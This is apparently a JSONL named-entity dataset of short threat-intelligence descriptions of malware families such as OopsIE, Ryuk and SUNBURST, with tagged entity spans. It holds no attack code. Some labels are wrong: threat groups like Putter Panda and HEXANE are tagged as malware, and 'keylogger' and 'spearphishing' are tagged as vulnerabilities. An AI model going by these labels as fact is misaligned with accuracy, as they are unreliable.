+{"text": "OopsIE is a Trojan used by OilRig to remotely execute commands as well as upload/download files to/from victims.", "spans": {"MALWARE: OopsIE": [[0, 6]], "THREAT_ACTOR: OilRig": [[27, 33]]}, "info": {"source": "apt_reports", "name": "OopsIE"}}
+{"text": "4H RAT is malware that has been used by Putter Panda since at least 2007.", "spans": {"MALWARE: 4H RAT": [[0, 6]], "MALWARE: Putter Panda": [[40, 52]]}, "info": {"source": "apt_reports", "name": "4H RAT"}}
+{"text": "RogueRobin is a payload used by DarkHydrus that has been developed in PowerShell and C#.", "spans": {"MALWARE: RogueRobin": [[0, 10]], "THREAT_ACTOR: DarkHydrus": [[32, 42]], "TOOL: PowerShell": [[70, 80]]}, "info": {"source": "apt_reports", "name": "RogueRobin"}}
+{"text": "Attor is a Windows-based espionage platform that has been seen in use since 2013. Attor has a loadable plugin architecture to customize functionality for specific targets.", "spans": {"THREAT_ACTOR: Attor": [[0, 5], [82, 87]], "SYSTEM: Windows": [[11, 18]]}, "info": {"source": "apt_reports", "name": "Attor"}}
+{"text": "DealersChoice is a Flash exploitation framework used by APT28.", "spans": {"MALWARE: DealersChoice": [[0, 13]], "THREAT_ACTOR: APT28": [[56, 61]]}, "info": {"source": "apt_reports", "name": "DealersChoice"}}
+{"text": "SQLRat is malware that executes SQL scripts to avoid leaving traditional host artifacts. FIN7 has been observed using it.", "spans": {"MALWARE: SQLRat": [[0, 6]], "THREAT_ACTOR: FIN7": [[89, 93]]}, "info": {"source": "apt_reports", "name": "SQLRat"}}
+{"text": "LitePower is a downloader and second stage malware that has been used by WIRTE since at least 2021.", "spans": {"MALWARE: LitePower": [[0, 9]], "THREAT_ACTOR: WIRTE": [[73, 78]]}, "info": {"source": "apt_reports", "name": "LitePower"}}
+{"text": "MegaCortex is ransomware that first appeared in May 2019.  MegaCortex has mainly targeted industrial organizations.", "spans": {"MALWARE: MegaCortex": [[0, 10], [59, 69]]}, "info": {"source": "apt_reports", "name": "MegaCortex"}}
+{"text": "StreamEx is a malware family that has been used by Deep Panda since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites.", "spans": {"MALWARE: StreamEx": [[0, 8]], "MALWARE: Deep Panda": [[51, 61]]}, "info": {"source": "apt_reports", "name": "StreamEx"}}
+{"text": "BoxCaon is a Windows backdoor that was used by IndigoZebra in a 2021 spearphishing campaign against Afghan government officials. BoxCaon's name stems from similarities shared with the malware family xCaon.", "spans": {"MALWARE: BoxCaon": [[0, 7], [129, 136]], "THREAT_ACTOR: IndigoZebra": [[47, 58]], "SYSTEM: Windows": [[13, 20]], "VULNERABILITY: spearphishing": [[69, 82]], "MALWARE: xCaon": [[199, 204]]}, "info": {"source": "apt_reports", "name": "BoxCaon"}}
+{"text": "NightClub is a modular implant written in C++ that has been used by MoustachedBouncer since at least 2014.", "spans": {"MALWARE: NightClub": [[0, 9]], "THREAT_ACTOR: MoustachedBouncer": [[68, 85]]}, "info": {"source": "apt_reports", "name": "NightClub"}}
+{"text": "Crutch is a backdoor designed for document theft that has been used by Turla since at least 2015.", "spans": {"MALWARE: Crutch": [[0, 6]], "THREAT_ACTOR: Turla": [[71, 76]]}, "info": {"source": "apt_reports", "name": "Crutch"}}
+{"text": "Akira _v2 is a Rust-based variant of Akira ransomware that has been in use since at least 2024. Akira _v2 is designed to target VMware ESXi servers and includes a new command-line argument set and other expanded capabilities.", "spans": {"MALWARE: Akira _v2": [[0, 9], [96, 105]], "SYSTEM: Rust": [[15, 19]], "SYSTEM: ESXi": [[135, 139]], "SYSTEM: VMware": [[128, 134]], "MALWARE: Akira": [[0, 5], [37, 42], [96, 101]]}, "info": {"source": "apt_reports", "name": "Akira _v2"}}
+{"text": "SDBbot is a backdoor with installer and loader components that has been used by TA505 since at least 2019.", "spans": {"MALWARE: SDBbot": [[0, 6]], "THREAT_ACTOR: TA505": [[80, 85]]}, "info": {"source": "apt_reports", "name": "SDBbot"}}
+{"text": "Mosquito is a Win32 backdoor that has been used by Turla. Mosquito is made up of three parts: the installer, the launcher, and the backdoor. The main backdoor is called CommanderDLL and is launched by the loader program.", "spans": {"MALWARE: Mosquito": [[0, 8], [58, 66]], "THREAT_ACTOR: Turla": [[51, 56]]}, "info": {"source": "apt_reports", "name": "Mosquito"}}
+{"text": "RTM is custom malware written in Delphi. It is used by the group of the same name (RTM). Newer versions of the malware have been reported publicly as Redaman.", "spans": {"THREAT_ACTOR: RTM": [[0, 3], [83, 86]], "MALWARE: Redaman": [[150, 157]]}, "info": {"source": "apt_reports", "name": "RTM"}}
+{"text": "QUIETCANARY is a backdoor tool written in .NET that has been used since at least 2022 to gather and exfiltrate data from victim networks.", "spans": {"MALWARE: QUIETCANARY": [[0, 11]], "SYSTEM: .NET": [[42, 46]]}, "info": {"source": "apt_reports", "name": "QUIETCANARY"}}
+{"text": "This entry was deprecated as it was inadvertently added to Enterprise; a similar Software entry was created for ATT&CK for ICS.\n\nTRITON is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. TRITON was deployed against at least one target in the Middle East.", "spans": {"MALWARE: TRITON": [[129, 135], [237, 243]]}, "info": {"source": "apt_reports", "name": "TRITON"}}
+{"text": "Derusbi is malware used by multiple Chinese APT groups. Both Windows and Linux variants have been observed.", "spans": {"MALWARE: Derusbi": [[0, 7]], "SYSTEM: Windows": [[61, 68]], "SYSTEM: Linux": [[73, 78]]}, "info": {"source": "apt_reports", "name": "Derusbi"}}
+{"text": "BlackByte Ransomware is uniquely associated with BlackByte operations. BlackByte Ransomware used a common key for infections, allowing for the creation of a universal decryptor. BlackByte Ransomware was replaced in BlackByte operations by BlackByte 2.0 Ransomware by 2023.", "spans": {"MALWARE: BlackByte Ransomware": [[0, 20], [71, 91], [178, 198]], "MALWARE: BlackByte 2.0 Ransomware": [[239, 263]], "MALWARE: BlackByte": [[0, 9], [49, 58], [71, 80], [178, 187], [215, 224], [239, 248]]}, "info": {"source": "apt_reports", "name": "BlackByte Ransomware"}}
+{"text": "SodaMaster is a fileless malware used by menuPass to download and execute payloads since at least 2020.", "spans": {"MALWARE: SodaMaster": [[0, 10]], "MALWARE: menuPass": [[41, 49]]}, "info": {"source": "apt_reports", "name": "SodaMaster"}}
+{"text": "Hikit is malware that has been used by Axiom for late-stage persistence and exfiltration after the initial compromise.", "spans": {"MALWARE: Hikit": [[0, 5]], "MALWARE: Axiom": [[39, 44]]}, "info": {"source": "apt_reports", "name": "Hikit"}}
+{"text": "StrelaStealer is an information stealer malware variant first identified in November 2022 and active through late 2024. StrelaStealer focuses on the automated identification, collection, and exfiltration of email credentials from email clients such as Outlook and Thunderbird.", "spans": {"MALWARE: StrelaStealer": [[0, 13], [120, 133]], "SYSTEM: Thunderbird": [[264, 275]], "SYSTEM: Outlook": [[252, 259]]}, "info": {"source": "apt_reports", "name": "StrelaStealer"}}
+{"text": "Grandoreiro is a banking trojan written in Delphi that was first observed in 2016 and uses a Malware-as-a-Service (MaaS) business model. Grandoreiro has confirmed victims in Brazil, Mexico, Portugal, and Spain.", "spans": {"MALWARE: Grandoreiro": [[0, 11], [137, 148]]}, "info": {"source": "apt_reports", "name": "Grandoreiro"}}
+{"text": "WellMail is a lightweight malware written in Golang used by APT29, similar in design and structure to WellMess.", "spans": {"MALWARE: WellMail": [[0, 8]], "THREAT_ACTOR: APT29": [[60, 65]], "MALWARE: WellMess": [[102, 110]]}, "info": {"source": "apt_reports", "name": "WellMail"}}
+{"text": "LiteDuke is a third stage backdoor that was used by APT29, primarily in 2014-2015. LiteDuke used the same dropper as PolyglotDuke, and was found on machines also compromised by MiniDuke.", "spans": {"MALWARE: LiteDuke": [[0, 8], [83, 91]], "THREAT_ACTOR: APT29": [[52, 57]], "MALWARE: MiniDuke": [[177, 185]], "MALWARE: PolyglotDuke": [[117, 129]]}, "info": {"source": "apt_reports", "name": "LiteDuke"}}
+{"text": "Starloader is a loader component that has been observed loading Felismus and associated tools.", "spans": {"MALWARE: Starloader": [[0, 10]], "MALWARE: Felismus": [[64, 72]]}, "info": {"source": "apt_reports", "name": "Starloader"}}
+{"text": "Sakula is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015.", "spans": {"MALWARE: Sakula": [[0, 6]]}, "info": {"source": "apt_reports", "name": "Sakula"}}
+{"text": "VaporRage is a shellcode downloader that has been used by APT29 since at least 2021.", "spans": {"MALWARE: VaporRage": [[0, 9]], "THREAT_ACTOR: APT29": [[58, 63]]}, "info": {"source": "apt_reports", "name": "VaporRage"}}
+{"text": "RawPOS is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008.    FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD.", "spans": {"MALWARE: RawPOS": [[0, 6], [152, 158]], "ORGANIZATION: FireEye": [[136, 143]]}, "info": {"source": "apt_reports", "name": "RawPOS"}}
+{"text": "Sibot is dual-purpose malware written in VBScript designed to achieve persistence on a compromised system as well as download and execute additional payloads. Microsoft discovered three Sibot variants in early 2021 during its investigation of APT29 and the SolarWinds Compromise.", "spans": {"MALWARE: Sibot": [[0, 5], [186, 191]], "THREAT_ACTOR: SolarWinds Compromise": [[257, 278]], "THREAT_ACTOR: APT29": [[243, 248]], "SYSTEM: SolarWinds": [[257, 267]], "ORGANIZATION: Microsoft": [[159, 168]]}, "info": {"source": "apt_reports", "name": "Sibot"}}
+{"text": "ZxxZ is a trojan written in Visual C++ that has been used by BITTER since at least August 2021, including against Bangladeshi government personnel.", "spans": {"MALWARE: ZxxZ": [[0, 4]], "MALWARE: BITTER": [[61, 67]]}, "info": {"source": "apt_reports", "name": "ZxxZ"}}
+{"text": "Tarrask is malware that has been used by HAFNIUM since at least August 2021. Tarrask was designed to evade digital defenses and maintain persistence by generating concealed scheduled tasks.", "spans": {"MALWARE: Tarrask": [[0, 7], [77, 84]], "THREAT_ACTOR: HAFNIUM": [[41, 48]]}, "info": {"source": "apt_reports", "name": "Tarrask"}}
+{"text": "GoBear is a Go-based backdoor that abuses legitimate, stolen certificates for defense evasion purposes. GoBear is exclusively linked to Kimsuky operations.", "spans": {"MALWARE: GoBear": [[0, 6], [104, 110]], "THREAT_ACTOR: Kimsuky": [[136, 143]], "SYSTEM: Go": [[12, 14]]}, "info": {"source": "apt_reports", "name": "GoBear"}}
+{"text": "WINDSHIELD is a signature backdoor used by APT32.", "spans": {"MALWARE: WINDSHIELD": [[0, 10]], "THREAT_ACTOR: APT32": [[43, 48]]}, "info": {"source": "apt_reports", "name": "WINDSHIELD"}}
+{"text": "Drovorub is a Linux malware toolset comprised of an agent, client, server, and kernel modules, that has been used by APT28.", "spans": {"MALWARE: Drovorub": [[0, 8]], "THREAT_ACTOR: APT28": [[117, 122]], "SYSTEM: Linux": [[14, 19]]}, "info": {"source": "apt_reports", "name": "Drovorub"}}
+{"text": "Shark is a backdoor malware written in C# and .NET that is an updated version of Milan; it has been used by HEXANE since at least July 2021.", "spans": {"MALWARE: Shark": [[0, 5]], "SYSTEM: .NET": [[46, 50]], "MALWARE: HEXANE": [[108, 114]], "MALWARE: Milan": [[81, 86]]}, "info": {"source": "apt_reports", "name": "Shark"}}
+{"text": "Bazar is a downloader and backdoor that has been used since at least April 2020, with infections primarily against professional services, healthcare, manufacturing, IT, logistics and travel companies across the US and Europe. Bazar reportedly has ties to TrickBot campaigns and can be used to deploy additional malware, including ransomware, and to steal sensitive data.", "spans": {"MALWARE: Bazar": [[0, 5], [226, 231]], "MALWARE: TrickBot": [[255, 263]]}, "info": {"source": "apt_reports", "name": "Bazar"}}
+{"text": "PULSECHECK is a web shell written in Perl that was used by APT5 as early as 2020 including against Pulse Secure VPNs at US Defense Industrial Base (DIB) companies.", "spans": {"MALWARE: PULSECHECK": [[0, 10]], "THREAT_ACTOR: APT5": [[59, 63]], "SYSTEM: Pulse Secure": [[99, 111]], "SYSTEM: Perl": [[37, 41]]}, "info": {"source": "apt_reports", "name": "PULSECHECK"}}
+{"text": "Kobalos is a multi-platform backdoor that can be used against Linux, FreeBSD, and Solaris. Kobalos has been deployed against high profile targets, including high-performance computers, academic servers, an endpoint security vendor, and a large internet service provider; it has been found in Europe, North America, and Asia. Kobalos was first identified in late 2019.", "spans": {"MALWARE: Kobalos": [[0, 7], [91, 98], [325, 332]], "SYSTEM: Solaris": [[82, 89]], "SYSTEM: FreeBSD": [[69, 76]], "SYSTEM: Linux": [[62, 67]]}, "info": {"source": "apt_reports", "name": "Kobalos"}}
+{"text": "BadPatch is a Windows Trojan that was used in a Gaza Hackers-linked campaign.", "spans": {"MALWARE: BadPatch": [[0, 8]], "SYSTEM: Windows": [[14, 21]]}, "info": {"source": "apt_reports", "name": "BadPatch"}}
+{"text": "MESSAGETAP is a data mining malware family deployed by APT41 into telecommunications networks to monitor and save SMS traffic from specific phone numbers, IMSI numbers, or that contain specific keywords.", "spans": {"MALWARE: MESSAGETAP": [[0, 10]], "THREAT_ACTOR: APT41": [[55, 60]]}, "info": {"source": "apt_reports", "name": "MESSAGETAP"}}
+{"text": "RATANKBA is a remote controller tool used by Lazarus Group. RATANKBA has been used in attacks targeting financial institutions in Poland, Mexico, Uruguay, the United Kingdom, and Chile. It was also seen used against organizations related to telecommunications, management consulting, information technology, insurance, aviation, and education. RATANKBA has a graphical user interface to allow the attacker to issue jobs to perform on the infected machines.", "spans": {"MALWARE: RATANKBA": [[0, 8], [60, 68], [344, 352]], "THREAT_ACTOR: Lazarus Group": [[45, 58]]}, "info": {"source": "apt_reports", "name": "RATANKBA"}}
+{"text": "SUGARDUMP is a proprietary browser credential harvesting tool that was used by UNC3890 during the C0010 campaign. The first known SUGARDUMP version was used since at least early 2021, a second SMTP C2 version was used from late 2021-early 2022, and a third HTTP C2 variant was used since at least April 2022.", "spans": {"MALWARE: SUGARDUMP": [[0, 9], [130, 139]], "THREAT_ACTOR: UNC3890": [[79, 86]], "THREAT_ACTOR: C0010": [[98, 103]]}, "info": {"source": "apt_reports", "name": "SUGARDUMP"}}
+{"text": "XLoader is an infostealer malware in use since at least 2016. Previously known and sometimes still referred to as Formbook, XLoader is a Malware as a Service (MaaS) known for stealing data from web browsers, email clients and File Transfer Protocol (FTP) applications.", "spans": {"MALWARE: XLoader": [[0, 7], [124, 131]], "MALWARE: Formbook": [[114, 122]]}, "info": {"source": "apt_reports", "name": "XLoader"}}
+{"text": "SOUNDBITE is a signature backdoor used by APT32.", "spans": {"MALWARE: SOUNDBITE": [[0, 9]], "THREAT_ACTOR: APT32": [[42, 47]]}, "info": {"source": "apt_reports", "name": "SOUNDBITE"}}
+{"text": "BADCALL is a Trojan malware variant used by the group Lazarus Group.", "spans": {"MALWARE: BADCALL": [[0, 7]], "THREAT_ACTOR: Lazarus Group": [[54, 67]]}, "info": {"source": "apt_reports", "name": "BADCALL"}}
+{"text": "hcdLoader is a remote access tool (RAT) that has been used by APT18.", "spans": {"MALWARE: hcdLoader": [[0, 9]], "THREAT_ACTOR: APT18": [[62, 67]]}, "info": {"source": "apt_reports", "name": "hcdLoader"}}
+{"text": "Nidiran is a custom backdoor developed and used by Suckfly. It has been delivered via strategic web compromise.", "spans": {"MALWARE: Nidiran": [[0, 7]], "MALWARE: Suckfly": [[51, 58]]}, "info": {"source": "apt_reports", "name": "Nidiran"}}
+{"text": "MoonWind is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand.", "spans": {"MALWARE: MoonWind": [[0, 8]]}, "info": {"source": "apt_reports", "name": "MoonWind"}}
+{"text": "CorKLOG is a keylogger known to be leveraged by Mustang Panda and was first observed utilized in 2024. CorKLOG is delivered through a RAR archive (e.g., src.rar), which contains two files: an executable (lcommute.exe) and the CorKLOG DLL (mscorsvc.dll).  CorKLOG has established persistence on the system by creating services or with scheduled tasks.", "spans": {"MALWARE: CorKLOG": [[0, 7], [103, 110], [226, 233], [255, 262]], "THREAT_ACTOR: Mustang Panda": [[48, 61]], "TOOL: RAR": [[134, 137]], "VULNERABILITY: keylogger": [[13, 22]]}, "info": {"source": "apt_reports", "name": "CorKLOG"}}
+{"text": "Ryuk is a ransomware designed to target enterprise environments that has been used in attacks since at least 2018. Ryuk shares code similarities with Hermes ransomware.", "spans": {"MALWARE: Ryuk": [[0, 4], [115, 119]]}, "info": {"source": "apt_reports", "name": "Ryuk"}}
+{"text": "Cryptoistic is a backdoor, written in Swift, that has been used by Lazarus Group.", "spans": {"MALWARE: Cryptoistic": [[0, 11]], "THREAT_ACTOR: Lazarus Group": [[67, 80]]}, "info": {"source": "apt_reports", "name": "Cryptoistic"}}
+{"text": "HermeticWiper is a data wiper that has been used since at least early 2022, primarily against Ukraine with additional activity observed in Latvia and Lithuania. Some sectors targeted include government, financial, defense, aviation, and IT services.", "spans": {"MALWARE: HermeticWiper": [[0, 13]]}, "info": {"source": "apt_reports", "name": "HermeticWiper"}}
+{"text": "ABK is a downloader that has been used by BRONZE BUTLER since at least 2019.", "spans": {"MALWARE: ABK": [[0, 3]], "MALWARE: BRONZE BUTLER": [[42, 55]]}, "info": {"source": "apt_reports", "name": "ABK"}}
+{"text": "Pysa is a ransomware that was first used in October 2018 and has been seen to target particularly high-value finance, government and healthcare organizations.", "spans": {"MALWARE: Pysa": [[0, 4]]}, "info": {"source": "apt_reports", "name": "Pysa"}}
+{"text": "Wiper is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies.", "spans": {"MALWARE: Wiper": [[0, 5]]}, "info": {"source": "apt_reports", "name": "Wiper"}}
+{"text": "Final1stspy is a dropper family that has been used to deliver DOGCALL.", "spans": {"MALWARE: Final1stspy": [[0, 11]], "MALWARE: DOGCALL": [[62, 69]]}, "info": {"source": "apt_reports", "name": "Final1stspy"}}
+{"text": "MgBot is a modular malware framework exclusively associated with Daggerfly operations since at least 2012. MgBot was developed in C++ and features a module design with multiple available plugins that have been under active development through 2024.", "spans": {"MALWARE: MgBot": [[0, 5], [107, 112]], "MALWARE: Daggerfly": [[65, 74]]}, "info": {"source": "apt_reports", "name": "MgBot"}}
+{"text": "ccf32 is data collection malware that has been used since at least February 2019, most notably during the FunnyDream campaign; there is also a similar x64 version.", "spans": {"MALWARE: ccf32": [[0, 5]], "THREAT_ACTOR: FunnyDream": [[106, 116]]}, "info": {"source": "apt_reports", "name": "ccf32"}}
+{"text": "Kapeka is a backdoor written in C++ used against victims in Eastern Europe since at least mid-2022. Kapeka has technical overlaps with Exaramel for Windows and Prestige malware variants, both of which are linked to Sandworm Team. Kapeka may have been used in advance of Prestige deployment in late 2022.", "spans": {"MALWARE: Kapeka": [[0, 6], [100, 106], [230, 236]], "THREAT_ACTOR: Sandworm": [[215, 223]], "SYSTEM: Windows": [[148, 155]], "MALWARE: Prestige": [[160, 168], [270, 278]], "MALWARE: Sandworm Team": [[215, 228]], "MALWARE: Exaramel for Windows": [[135, 155]]}, "info": {"source": "apt_reports", "name": "Kapeka"}}
+{"text": "LockBit 2.0 is an affiliate-based Ransomware-as-a-Service (RaaS) that has been in use since at least June 2021 as the successor to LockBit Ransomware. LockBit 2.0 has versions capable of infecting Windows and VMware ESXi virtual machines, and has been observed targeting multiple industry verticals globally.", "spans": {"MALWARE: LockBit 2.0": [[0, 11], [151, 162]], "SYSTEM: ESXi": [[216, 220]], "SYSTEM: Windows": [[197, 204]], "SYSTEM: VMware": [[209, 215]]}, "info": {"source": "apt_reports", "name": "LockBit 2.0"}}
+{"text": "OilCheck is a C#/.NET downloader that has been used by OilRig since at least 2022 including against targets in Israel. OilCheck uses draft messages created in a shared email account for C2 communication.", "spans": {"MALWARE: OilCheck": [[0, 8], [119, 127]], "THREAT_ACTOR: OilRig": [[55, 61]], "SYSTEM: .NET": [[17, 21]]}, "info": {"source": "apt_reports", "name": "OilCheck"}}
+{"text": "Zebrocy is a Trojan that has been used by APT28 since at least November 2015. The malware comes in several programming language variants, including C++, Delphi, AutoIt, C#, VB.NET, and Golang.", "spans": {"MALWARE: Zebrocy": [[0, 7]], "THREAT_ACTOR: APT28": [[42, 47]]}, "info": {"source": "apt_reports", "name": "Zebrocy"}}
+{"text": "Pandora is a multistage kernel rootkit with backdoor functionality that has been in use by Threat Group-3390 since at least 2020.", "spans": {"MALWARE: Pandora": [[0, 7]], "VULNERABILITY: rootkit": [[31, 38]], "MALWARE: Threat Group-3390": [[91, 108]]}, "info": {"source": "apt_reports", "name": "Pandora"}}
+{"text": "FinFisher is a government-grade commercial surveillance spyware reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. It is heavily obfuscated and uses multiple anti-analysis techniques. It has other variants including Wingbird.", "spans": {"MALWARE: FinFisher": [[0, 9]], "MALWARE: Wingbird": [[272, 280]]}, "info": {"source": "apt_reports", "name": "FinFisher"}}
+{"text": "SpeakUp is a Trojan backdoor that targets both Linux and OSX devices. It was first observed in January 2019.", "spans": {"MALWARE: SpeakUp": [[0, 7]], "SYSTEM: Linux": [[47, 52]]}, "info": {"source": "apt_reports", "name": "SpeakUp"}}
+{"text": "LunarMail is a backdoor that has been used by Turla since at least 2020 including in a compromise of a European ministry of foreign affairs (MFA) in conjunction with LunarLoader and LunarWeb. LunarMail is designed to be deployed on workstations and can use email messages and Steganography in command and control.", "spans": {"MALWARE: LunarMail": [[0, 9], [192, 201]], "THREAT_ACTOR: Turla": [[46, 51]], "MALWARE: LunarLoader": [[166, 177]], "MALWARE: LunarWeb": [[182, 190]]}, "info": {"source": "apt_reports", "name": "LunarMail"}}
+{"text": "WARPWIRE is a Javascript credential stealer that targets plaintext passwords and usernames for exfiltration that was used during Cutting Edge to target Ivanti Connect Secure VPNs.", "spans": {"MALWARE: WARPWIRE": [[0, 8]], "THREAT_ACTOR: Cutting Edge": [[129, 141]], "SYSTEM: Edge": [[137, 141]], "SYSTEM: Ivanti": [[152, 158]]}, "info": {"source": "apt_reports", "name": "WARPWIRE"}}
+{"text": "CrossRAT is a cross platform RAT.", "spans": {"MALWARE: CrossRAT": [[0, 8]]}, "info": {"source": "apt_reports", "name": "CrossRAT"}}
+{"text": "OwaAuth is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by Threat Group-3390.", "spans": {"MALWARE: OwaAuth": [[0, 7]], "SYSTEM: Microsoft Exchange": [[58, 76]], "ORGANIZATION: Microsoft": [[58, 67]], "MALWARE: Threat Group-3390": [[124, 141]]}, "info": {"source": "apt_reports", "name": "OwaAuth"}}
+{"text": "Cadelspy is a backdoor that has been used by APT39.", "spans": {"MALWARE: Cadelspy": [[0, 8]], "THREAT_ACTOR: APT39": [[45, 50]]}, "info": {"source": "apt_reports", "name": "Cadelspy"}}
+{"text": "Cobalt Strike is a commercial, full-featured, remote access tool that bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.\n\nIn addition to its own capabilities, Cobalt Strike leverages the capabilities of other well-known tools such as Metasploit and Mimikatz.", "spans": {"TOOL: Cobalt Strike": [[0, 13], [224, 237], [405, 418]], "THREAT_ACTOR: Cobalt": [[0, 6], [224, 230], [405, 411]], "TOOL: Mimikatz": [[495, 503]], "TOOL: Metasploit": [[480, 490]]}, "info": {"source": "apt_reports", "name": "Cobalt Strike"}}
+{"text": "SampleCheck5000 is a downloader with multiple variants that was used by OilRig including during the Outer Space campaign to download and execute additional payloads.", "spans": {"MALWARE: SampleCheck5000": [[0, 15]], "THREAT_ACTOR: OilRig": [[72, 78]], "THREAT_ACTOR: Outer Space": [[100, 111]]}, "info": {"source": "apt_reports", "name": "SampleCheck5000"}}
+{"text": "SUNBURST is a trojanized DLL designed to fit within the SolarWinds Orion software update framework. It was used by APT29 since at least February 2020.", "spans": {"MALWARE: SUNBURST": [[0, 8]], "THREAT_ACTOR: APT29": [[115, 120]], "SYSTEM: SolarWinds": [[56, 66]], "SYSTEM: SolarWinds Orion": [[56, 72]]}, "info": {"source": "apt_reports", "name": "SUNBURST"}}
+{"text": "EvilBunny is a C++ malware sample observed since 2011 that was designed to be a execution platform for Lua scripts.", "spans": {"MALWARE: EvilBunny": [[0, 9]]}, "info": {"source": "apt_reports", "name": "EvilBunny"}}
+{"text": "Wingbird is a backdoor that appears to be a version of commercial software FinFisher. It is reportedly used to attack individual computers instead of networks. It was used by NEODYMIUM in a May 2016 campaign.", "spans": {"MALWARE: Wingbird": [[0, 8]], "THREAT_ACTOR: NEODYMIUM": [[175, 184]], "MALWARE: FinFisher": [[75, 84]]}, "info": {"source": "apt_reports", "name": "Wingbird"}}
+{"text": "Cobian RAT is a backdoor, remote access tool that has been observed since 2016.", "spans": {"MALWARE: Cobian RAT": [[0, 10]]}, "info": {"source": "apt_reports", "name": "Cobian RAT"}}
+{"text": "HotCroissant is a remote access trojan (RAT) attributed by U.S. government entities to malicious North Korean government cyber activity, tracked collectively as HIDDEN COBRA. HotCroissant shares numerous code similarities with Rifdoor.", "spans": {"MALWARE: HotCroissant": [[0, 12], [175, 187]], "MALWARE: Rifdoor": [[227, 234]]}, "info": {"source": "apt_reports", "name": "HotCroissant"}}
+{"text": "ServHelper is a backdoor first observed in late 2018. The backdoor is written in Delphi and is typically delivered as a DLL file.", "spans": {"MALWARE: ServHelper": [[0, 10]]}, "info": {"source": "apt_reports", "name": "ServHelper"}}
+{"text": "JCry is ransomware written in Go. It was identified as apart of the #OpJerusalem 2019 campaign.", "spans": {"MALWARE: JCry": [[0, 4]], "SYSTEM: Go": [[30, 32]]}, "info": {"source": "apt_reports", "name": "JCry"}}
+{"text": "Unknown Logger is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign.", "spans": {"MALWARE: Unknown Logger": [[0, 14]]}, "info": {"source": "apt_reports", "name": "Unknown Logger"}}
+{"text": "REvil is a ransomware family that has been linked to the GOLD SOUTHFIELD group and operated as ransomware-as-a-service (RaaS) since at least April 2019. REvil, which as been used against organizations in the manufacturing, transportation, and electric sectors, is highly configurable and shares code similarities with the GandCrab RaaS.", "spans": {"MALWARE: REvil": [[0, 5], [153, 158]], "THREAT_ACTOR: GOLD SOUTHFIELD": [[57, 72]]}, "info": {"source": "apt_reports", "name": "REvil"}}
+{"text": "RIPTIDE is a proxy-aware backdoor used by APT12.", "spans": {"MALWARE: RIPTIDE": [[0, 7]], "THREAT_ACTOR: APT12": [[42, 47]]}, "info": {"source": "apt_reports", "name": "RIPTIDE"}}
+{"text": "Valak is a multi-stage modular malware that can function as a standalone information stealer or downloader, first observed in 2019 targeting enterprises in the US and Germany.", "spans": {"MALWARE: Valak": [[0, 5]]}, "info": {"source": "apt_reports", "name": "Valak"}}
+{"text": "Samurai is a passive backdoor that has been used by ToddyCat since at least 2020. Samurai allows arbitrary C# code execution and is used with multiple modules for remote administration and lateral movement.", "spans": {"MALWARE: Samurai": [[0, 7], [82, 89]], "THREAT_ACTOR: ToddyCat": [[52, 60]], "VULNERABILITY: code execution": [[110, 124]]}, "info": {"source": "apt_reports", "name": "Samurai"}}
+{"text": "PinchDuke is malware that was used by APT29 from 2008 to 2010.", "spans": {"MALWARE: PinchDuke": [[0, 9]], "THREAT_ACTOR: APT29": [[38, 43]]}, "info": {"source": "apt_reports", "name": "PinchDuke"}}
+{"text": "Milan is a backdoor implant based on DanBot that was written in Visual C++ and .NET. Milan has been used by HEXANE since at least June 2020.", "spans": {"MALWARE: Milan": [[0, 5], [85, 90]], "SYSTEM: .NET": [[79, 83]], "MALWARE: HEXANE": [[108, 114]], "MALWARE: DanBot": [[37, 43]]}, "info": {"source": "apt_reports", "name": "Milan"}}
+{"text": "USBStealer is malware that has been used by APT28 since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with ADVSTORESHELL.", "spans": {"MALWARE: USBStealer": [[0, 10]], "THREAT_ACTOR: APT28": [[44, 49]], "MALWARE: ADVSTORESHELL": [[222, 235]]}, "info": {"source": "apt_reports", "name": "USBStealer"}}
+{"text": "OSX_OCEANLOTUS.D is a macOS backdoor used by APT32. First discovered in 2015, APT32 has continued to make improvements using a plugin architecture to extend capabilities, specifically using `.dylib` files. OSX_OCEANLOTUS.D can also determine it's permission level and execute according to access type (`root` or `user`).", "spans": {"MALWARE: OSX_OCEANLOTUS.D": [[0, 16], [206, 222]], "THREAT_ACTOR: APT32": [[45, 50], [78, 83]], "SYSTEM: macOS": [[22, 27]]}, "info": {"source": "apt_reports", "name": "OSX_OCEANLOTUS.D"}}
+{"text": "OilBooster is a downloader written in Microsoft Visual C/C++ that has been used by OilRig since at least 2022 including against target organizations in Israel to download and execute files and for exfiltration.", "spans": {"MALWARE: OilBooster": [[0, 10]], "THREAT_ACTOR: OilRig": [[83, 89]], "ORGANIZATION: Microsoft": [[38, 47]]}, "info": {"source": "apt_reports", "name": "OilBooster"}}
+{"text": "CCBkdr is malware that was injected into a signed version of CCleaner and distributed from CCleaner's distribution website.", "spans": {"MALWARE: CCBkdr": [[0, 6]]}, "info": {"source": "apt_reports", "name": "CCBkdr"}}
+{"text": "OnionDuke is malware that was used by APT29 from 2013 to 2015.", "spans": {"MALWARE: OnionDuke": [[0, 9]], "THREAT_ACTOR: APT29": [[38, 43]]}, "info": {"source": "apt_reports", "name": "OnionDuke"}}
+{"text": "Taidoor is a remote access trojan (RAT) that has been used by Chinese government cyber actors to maintain access on victim networks. Taidoor has primarily been used against Taiwanese government organizations since at least 2010.", "spans": {"THREAT_ACTOR: Taidoor": [[0, 7], [133, 140]]}, "info": {"source": "apt_reports", "name": "Taidoor"}}
